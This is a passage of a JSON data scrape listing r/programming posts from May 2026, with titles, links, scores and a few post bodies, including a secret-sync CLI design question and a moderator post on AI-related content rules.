  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t66hmi",
  "url": "https://shadcnstudio.com/blog/migrate-from-radix-ui-to-base-ui",
  "permalink": "https://www.reddit.com/r/programming/comments/1t66hmi/migrate_from_radix_ui_to_base_ui_in_9_easy_steps/",
  "title": "Migrate from Radix UI to Base UI in 9 Easy Steps",
  "body": null,
  "author": "Abhi_mech007",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 0,
  "createdAt": "2026-05-07T10:28:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shadcnstudio.com/blog/migrate-from-radix-ui-to-base-ui",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t666dw",
  "url": "https://www.youtube.com/watch?v=fy0HRViXZnE",
  "permalink": "https://www.reddit.com/r/programming/comments/1t666dw/coding_adventure_solving_the_rubiks_cube/",
  "title": "Coding Adventure: Solving the Rubik's Cube",
  "body": null,
  "author": "fredoverflow",
  "subreddit": "programming",
  "score": 31,
  "upvoteRatio": 0.93,
  "numComments": 4,
  "createdAt": "2026-05-07T10:11:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=fy0HRViXZnE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t624ga",
  "url": "https://www.stvn.sh/writing/programming-still-sucks-fqffhyp",
  "permalink": "https://www.reddit.com/r/programming/comments/1t624ga/programming_still_sucks/",
  "title": "Programming Still Sucks",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 482,
  "upvoteRatio": 0.89,
  "numComments": 140,
  "createdAt": "2026-05-07T06:15:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.stvn.sh/writing/programming-still-sucks-fqffhyp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5qpf2",
  "url": "https://www.opu.rocks/blog/nginx-complete-guide-and-cheatsheet",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5qpf2/nginx_complete_guide_and_cheatsheet/",
  "title": "Nginx Complete Guide and Cheatsheet",
  "body": null,
  "author": "obayed_opu",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.31,
  "numComments": 0,
  "createdAt": "2026-05-06T21:35:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.opu.rocks/blog/nginx-complete-guide-and-cheatsheet",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5ok5q",
  "url": "https://jdx.dev/posts/2026-04-17-going-full-time-on-open-source/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5ok5q/going_full_time_on_open_source/",
  "title": "Going Full Time on Open Source",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 76,
  "upvoteRatio": 0.89,
  "numComments": 16,
  "createdAt": "2026-05-06T20:17:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jdx.dev/posts/2026-04-17-going-full-time-on-open-source/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5nik6",
  "url": "https://www.gingerbill.org/article/2026/05/03/signed-by-default/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5nik6/signed_by_default_camp/",
  "title": "Signed By Default Camp",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.86,
  "numComments": 3,
  "createdAt": "2026-05-06T19:40:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gingerbill.org/article/2026/05/03/signed-by-default/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5lh79",
  "url": "https://www.opendata.dev/blog/faster-timeseries-aggregations",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5lh79/faster_timeseries_aggregations/",
  "title": "Faster timeseries aggregations",
  "body": null,
  "author": "NoPercentage6144",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.75,
  "numComments": 0,
  "createdAt": "2026-05-06T18:28:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.opendata.dev/blog/faster-timeseries-aggregations",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5j7s8",
  "url": "https://neciudan.dev/implementing-server-driven-ui",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5j7s8/implementing_serverdriven_ui/",
  "title": "Implementing Server-Driven UI",
  "body": "I wrote this up after giving a talk on this exact pattern at CityJS London. \n\nCurious what folks here think about it, is it still useful? I build it twice in my life, I dont know if there will ever be a third time ",
  "author": "creasta29",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 8,
  "createdAt": "2026-05-06T17:12:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://neciudan.dev/implementing-server-driven-ui",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5is63",
  "url": "https://yuanchuan.dev/multi-stroke-text-effect-in-css",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5is63/multistroke_text_effect_in_css/",
  "title": "Multi-stroke text effect in CSS",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 169,
  "upvoteRatio": 0.93,
  "numComments": 7,
  "createdAt": "2026-05-06T16:57:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yuanchuan.dev/multi-stroke-text-effect-in-css",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5hobo",
  "url": "https://youtu.be/-SKc8-XHDWw?si=M4AYoyOl6lQYy_ka",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5hobo/how_netflix_streams_video_without_buffering/",
  "title": "How Netflix streams video without buffering",
  "body": null,
  "author": "Comfortable-Fan-580",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 3,
  "createdAt": "2026-05-06T16:19:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/-SKc8-XHDWw?si=M4AYoyOl6lQYy_ka",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5fiac",
  "url": "https://xificurc.github.io/blog/io-is-the-problem/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5fiac/io_is_the_problem/",
  "title": "IO is the Problem",
  "body": null,
  "author": "la-rokci",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 22,
  "createdAt": "2026-05-06T15:02:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://xificurc.github.io/blog/io-is-the-problem/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5dqg4",
  "url": "https://mendelgreenberg.com/posts/ourcar/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5dqg4/what_i_learned_making_an_app_for_family/",
  "title": "What I Learned Making an App for Family",
  "body": null,
  "author": "chabad360",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 3,
  "createdAt": "2026-05-06T13:58:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mendelgreenberg.com/posts/ourcar/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5d19t",
  "url": "https://geleto.github.io/posts/implicit-async-programming/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5d19t/simple_and_safe_implicit_async_programming_model/",
  "title": "Simple and safe implicit async programming model for imperative (JS/Python-like) languages",
  "body": "*An article about the implicit async programming model for imperative, JavaScript/Python-like languages: ordinary sequential-looking code can run independent operations concurrently without special syntax: no* *await, promises, or manual task orchestration. Implemented in CascadaScript, an experimental JavaScript/Python-like language. Unbounded JavaScript and Python will not be able to do this, but with reasonable constraints they may one day get there too. CascadaScript pushes the envelope on how far this model can go.*",
  "author": "thegeleto",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.8,
  "numComments": 23,
  "createdAt": "2026-05-06T13:31:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://geleto.github.io/posts/implicit-async-programming/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t5c3qn",
  "url": "http://meowpass.dev/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t5c3qn/designing_repoaware_secret_sync_without/",
  "title": "Designing repo-aware secret sync without committing secrets to Git",
  "body": "I’ve been thinking through a CLI design problem around team `.env` workflows.\n\nThe target workflow is:\n\n    git clone repo\n    login\n    pull\n    \n\nThe question is:\n\n**How should a CLI know which secret vault belongs to a cloned repo without requiring the developer to paste a vault ID, and without committing actual secrets to Git?**\n\nOne approach is to commit a small project metadata file:\n\n    # .meowpass.yaml\n    version: 1\n    vault: <vault_id>\n    default_env: development\n    \n\nThis file contains no secret values. It only maps the repo to a remote vault and default environment.\n\nThe CLI resolution order would be:\n\n1. explicit `--vault` flag\n2. nearest `.meowpass.yaml`, found by walking up parent directories\n3. global user config\n4. fail with a fix-oriented error\n\nThis makes the CLI behave more like Git.\n\nExample:\n\n    repo/\n      .meowpass.yaml\n      apps/web/\n      packages/api/\n    \n\nIf you run the CLI from `apps/web`, it still resolves the project config from the repo root.\n\nSome design choices I’m considering:\n\n* The project config is safe to commit because it contains metadata only\n* Explicit flags always override project config\n* `version` allows schema migration later\n* `default_env` makes common commands deterministic without extra flags\n* Diff output should show changed/missing keys, but never reveal values\n\nExample diff output:\n\n    Local only:\n    - DEBUG_TOKEN\n    \n    Remote only:\n    - STRIPE_SECRET_KEY\n    \n    Changed:\n    - DATABASE_URL\n    \n\nThe tradeoff is that this is less local-first than committing encrypted `.env` files to Git, but it improves onboarding because the repo can point to the correct vault without embedding secrets.\n\nThe model is basically:\n\n    repo metadata in Git\n    secret values outside Git\n    CLI resolves project context automatically\n    \n\nQuestions I’m still debating:\n\n* Should `default_env` live in repo config, or should it stay local per developer?\n* Should parent directory discovery stop at the Git root?\n* Should the CLI warn if suspicious keys like `API_KEY` or `DATABASE_URL` appear in the config file?\n* Is committing a vault ID acceptable if auth and encryption still gate access?\n* Is this better or worse than committing encrypted `.env` files?\n\nCurious how others would design this.\n\nFor team secret sync, would you use a committed metadata file, encrypted env files in Git, or another approach entirely?",
  "author": "Adventurous-While685",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 4,
  "createdAt": "2026-05-06T12:56:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://meowpass.dev/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t59vwd",
  "url": "https://www.lucavall.in/blog/platform-engineering-end-to-end",
  "permalink": "https://www.reddit.com/r/programming/comments/1t59vwd/platform_engineering_endtoend/",
  "title": "Platform Engineering End-to-End",
  "body": "Platform engineering is more than DevOps with a portal. This post walks the full arc of the discipline end to end: why platforms exist, how to build and operate them, how to manage the messy stakeholder politics, and what success actually looks like. Grounded in Fournier and Nowland's book and a few years of doing this on real systems.",
  "author": "lucavallin",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.84,
  "numComments": 5,
  "createdAt": "2026-05-06T11:19:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.lucavall.in/blog/platform-engineering-end-to-end",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t57k5j",
  "url": "https://www.chiply.dev/post-vompeccc-showcase",
  "permalink": "https://www.reddit.com/r/programming/comments/1t57k5j/emacs_completion_showcase_with_vompeccc_video/",
  "title": "Emacs Completion Showcase with VOMPECCC (video)",
  "body": "\"This post is the practical complement to all the other posts. Here, we showcase over a dozen workflows I use every day. Most are powered entirely by features that ship in the box with the VOMPECCC (Vertico, Orderless, Marginalia, Prescient, Embark, Consult, Cape, Corfu) packages, and there are 'Bonuses' which demonstrate workflows enable by 3rd party packages that build on top of VOMPECCC. The prose is deliberately thin, and you will find most of the demonstration is in the video below.\"",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.65,
  "numComments": 0,
  "createdAt": "2026-05-06T09:13:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-vompeccc-showcase",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t56i1y",
  "url": "https://probablydance.com/2026/02/10/how-programmers-spend-their-time/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t56i1y/how_programmers_spend_their_time_probably_dance/",
  "title": "How Programmers Spend Their Time | Probably Dance",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 101,
  "upvoteRatio": 0.85,
  "numComments": 21,
  "createdAt": "2026-05-06T08:09:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://probablydance.com/2026/02/10/how-programmers-spend-their-time/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t565uk",
  "url": "https://leavenha.github.io/me/doge-kernel/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t565uk/i_wrote_a_jupyter_kernel_for_a_toy_language_to/",
  "title": "I wrote a Jupyter kernel for a toy language to avoid rewriting my ML homework",
  "body": null,
  "author": "scknkkrer",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.67,
  "numComments": 5,
  "createdAt": "2026-05-06T07:48:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leavenha.github.io/me/doge-kernel/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t520id",
  "url": "https://lemire.me/blog/2025/12/20/performance-trick-optimistic-vs-pessimistic-checks/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t520id/performance_trick_optimistic_vs_pessimistic_checks/",
  "title": "Performance trick: optimistic vs pessimistic checks",
  "body": null,
  "author": "User_Deprecated",
  "subreddit": "programming",
  "score": 57,
  "upvoteRatio": 0.76,
  "numComments": 15,
  "createdAt": "2026-05-06T04:00:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lemire.me/blog/2025/12/20/performance-trick-optimistic-vs-pessimistic-checks/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4vww7",
  "url": "https://kodraus.github.io/opentelemetry/2026/05/04/otel-first-principles.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4vww7/opentelemetry_signals_from_first_principles/",
  "title": "OpenTelemetry signals from first principles",
  "body": "There's a lot of high-noise, low-value content around OpenTelemetry out there, so I've tried to put together the simplest description I could by incrementally building up from needs that arise in your systems. I hope it might help cut through some of the less obvious concepts like context propagation and exponential histograms.\n\nThe format is very loosely pinched from \"The Little ..\" series :)",
  "author": "KodrAus",
  "subreddit": "programming",
  "score": 60,
  "upvoteRatio": 0.93,
  "numComments": 15,
  "createdAt": "2026-05-05T23:23:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kodraus.github.io/opentelemetry/2026/05/04/otel-first-principles.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4u2nc",
  "url": "https://fishinthecalculator.me/blog/arguments-parsing-in-guile.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4u2nc/arguments_parsing_in_guile_scheme/",
  "title": "Arguments parsing in Guile Scheme",
  "body": null,
  "author": "MrOrange95",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.68,
  "numComments": 0,
  "createdAt": "2026-05-05T22:08:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fishinthecalculator.me/blog/arguments-parsing-in-guile.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4odyl",
  "url": "https://www.reddit.com/r/programming/comments/1t4odyl/looking_for_feedback_on_ai_content_in/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4odyl/looking_for_feedback_on_ai_content_in/",
  "title": "Looking for feedback on AI content in r/programming and the April no-AI trial",
  "body": "Hello fellow programs!\n\nIn April we [tried out a complete ban on LLM-related content](https://www.reddit.com/r/programming/comments/1s9jkzi/announcement_temporary_llm_content_ban/). Today we're **asking for feedback** on how that went, and more generally **what we want to do about this kind of content**. Please comment below, but if all you're going to say is \"I liked/hated it\", _please_ also indicate that you've read the nuance below.\n\nTo be clear we always have and will continue to ban content that's **generated** by an LLM. If you don't want to write it, we don't want to read it. And we also do and will continue to ban content that's **not related to programming** but about e.g. philosophy in AI or jailbreaking chatgpt. (Non-programming AI articles account for most of the AI-related content that we see and we remove quite a lot of them. This is not related to the April trial.)\n\nSo the **nuance** is that the _only additional category_ of content that we banned in the April trial and are asking about here is programming content that is about AI. This ranges from:\n\n- mathematical techniques in machine learning (\"using transformer techniques for sequence prediction\")\n- techniques for using LLMs at runtime within a small codebase\n- production model deployment and testing architectures  \n- experience reports or configuration tips with Cursor\n- best practises for prompting\n- how we secure our AI generated codebase\n- hey guise I just discovered vibe coding will AI replace programmers i am surely the first person to ask this\n- how to glue an LLM to your business data\n- synergisting agentic blockchains in a mobile social local world: a tedx talk featuring one line of code on the last slide\n\nYou can see that we've [struggled with what to do about the various categories for a while](https://www.reddit.com/r/programming/comments/1qoxwdt/state_of_the_subreddit_january_2027_mods/) and have moved around in our approach and we'll probably do that for a while yet. I don't want to go banning every faddy thing that's briefly so popular as to be annoying but we also need to be careful with the content that we allow because it's what drives _future_ submitters, so it can be self feeding. This topic also brings out the rabid fans and detractors alike, so it's easy to get lost in a vocal minority. (For that reason I'm not going to pretend that this is a fully democratic decision where we add up the vote counts or something: people are too willing to brigade on this stuff and we'll keep some subjectivity to avoid that.) At some point I believe these tools will be discussed as simply as we discuss compilers or OOP or GC or [VX Modules](/r/VXJunkies), but currently the hype and doomerism are so rabidly partisan that it's hard to find honest examples.\n\nNote that a confounding influence is that in the last month or so the new mods really got ramped up. I was removing things like that before but on a large delay, whereas now we're better able to enforce the rules we already had. So if what you're annoyed by is \"will AI replace programmers?\", be aware that this has _no effect_ on that. We already remove it.\n\nAll of that said, we want to gather **ideas and feedback** on how we can best handle these categories of content and suggestions for how to draw the lines so we can meet our mission to **be the place with the highest quality programming content, where I can go to read something interesting and learn something new every day**.",
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 180,
  "upvoteRatio": 0.93,
  "numComments": 167,
  "createdAt": "2026-05-05T18:41:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/1t4odyl/looking_for_feedback_on_ai_content_in/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4luwo",
  "url": "https://bubble.ro/2026/05/04/code-coverage-in-ci-cd-what-it-really-tells-you-and-what-it-doesnt/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4luwo/code_coverage_tells_you_what_you_didnt_test_not/",
  "title": "Code coverage tells you what you didn't test — not whether your tests are good",
  "body": "A look at how coverage metrics work in CI/CD, why they're misunderstood, and how to enforce them without incentivizing shallow tests. ",
  "author": "indy2kro",
  "subreddit": "programming",
  "score": 82,
  "upvoteRatio": 0.76,
  "numComments": 28,
  "createdAt": "2026-05-05T17:14:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bubble.ro/2026/05/04/code-coverage-in-ci-cd-what-it-really-tells-you-and-what-it-doesnt/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4kvb1",
  "url": "https://oblique.security/blog/the-performance-bug-hiding-in-our-billing-settings/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4kvb1/the_performance_bug_hiding_in_our_cloud_run/",
  "title": "The performance bug hiding in our Cloud Run billing settings",
  "body": "How we spent two months debugging Cloud Run latency, built out our tracing along the way, and learned the fix was one line of YAML.",
  "author": "ericchiang",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.79,
  "numComments": 1,
  "createdAt": "2026-05-05T16:40:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://oblique.security/blog/the-performance-bug-hiding-in-our-billing-settings/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4gubp",
  "url": "https://blog.jim-nielsen.com/2025/lots-of-little-html-pages/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4gubp/building_websites_with_lots_of_little_html_pages/",
  "title": "Building Websites With Lots of Little HTML Pages",
  "body": null,
  "author": "ForgotMyPassword17",
  "subreddit": "programming",
  "score": 187,
  "upvoteRatio": 0.88,
  "numComments": 83,
  "createdAt": "2026-05-05T14:18:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jim-nielsen.com/2025/lots-of-little-html-pages/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4dws2",
  "url": "https://www.khronos.org/blog/opencl-3.1-is-here",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4dws2/opencl_31_is_here/",
  "title": "OpenCL 3.1 is Here",
  "body": null,
  "author": "jlpcsl",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.88,
  "numComments": 6,
  "createdAt": "2026-05-05T12:24:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.khronos.org/blog/opencl-3.1-is-here",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4dchp",
  "url": "https://adamtornhill.substack.com/p/kill-the-conditional-maze-from-if",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4dchp/kill_the_conditional_maze_refactoring_from/",
  "title": "Kill the Conditional Maze: Refactoring From If-Statements to Rule Pipelines",
  "body": null,
  "author": "nephrenka",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 0,
  "createdAt": "2026-05-05T12:00:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://adamtornhill.substack.com/p/kill-the-conditional-maze-from-if",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4c5q2",
  "url": "https://0x1.pt/dl",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4c5q2/hashful_storage_store_your_whole_file_in_the_url/",
  "title": "Hashful storage. Store your whole file in the URL hash",
  "body": null,
  "author": "sousapereira",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 11,
  "createdAt": "2026-05-05T11:04:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://0x1.pt/dl",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t4bg2q",
  "url": "https://par.run",
  "permalink": "https://www.reddit.com/r/programming/comments/1t4bg2q/par_a_sessiontyped_language_with_automatic/",
  "title": "Par, a session-typed language with automatic concurrency, and no panics or deadlocks",
  "body": null,
  "author": "faiface",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.96,
  "numComments": 0,
  "createdAt": "2026-05-05T10:28:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://par.run",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t49srb",
  "url": "https://github.com/microsoft/vscode/issues/314311",
  "permalink": "https://www.reddit.com/r/programming/comments/1t49srb/update_on_coauthoredby_copilot_in_commit_messages/",
  "title": "Update on \"Co-authored-by: Copilot\" in commit messages · Issue #314311 · microsoft/vscode",
  "body": null,
  "author": "PerkyPangolin",
  "subreddit": "programming",
  "score": 561,
  "upvoteRatio": 0.96,
  "numComments": 183,
  "createdAt": "2026-05-05T08:56:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/microsoft/vscode/issues/314311",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t49351",
  "url": "https://simoninglis.com/posts/task-keys-cmdock/",
  "permalink": "https://www.reddit.com/r/programming/comments/1t49351/why_you_cant_allocate_a_humanreadable_id_before/",
  "title": "Why you can't allocate a human-readable ID before the record exists",
  "body": "Author here. The non-obvious thing is that the idempotency key needs to gate the slot reservation, not the number assignment. The number has to stay inside Phase 2 or you get phantom allocations with no backing record. Happy to discuss the reaper design or the 2PC comparison if anyone's curious.",
  "author": "Gronax_au",
  "subreddit": "programming",
  "score": 39,
  "upvoteRatio": 0.76,
  "numComments": 38,
  "createdAt": "2026-05-05T08:13:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://simoninglis.com/posts/task-keys-cmdock/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1t480nm",
  "url": "https://github.com/oven-sh/bun/commit/46d3bc29f270fa881dd5730ef1549e88407701a5",
  "permalink": "https://www.reddit.com/r/programming/comments/1t480nm/bun_is_being_rewritten_to_rust/",
  "title": "Bun is being rewritten to Rust",
  "body": ".",
  "author": "aabbdev",
  "subreddit": "programming",
  "score": 145,
  "upvoteRatio": 0.68,
  "numComments": 146,
  "createdAt": "2026-05-05T07:08:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/oven-sh/bun/commit/46d3bc29f270fa881dd5730ef1549e88407701a5",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
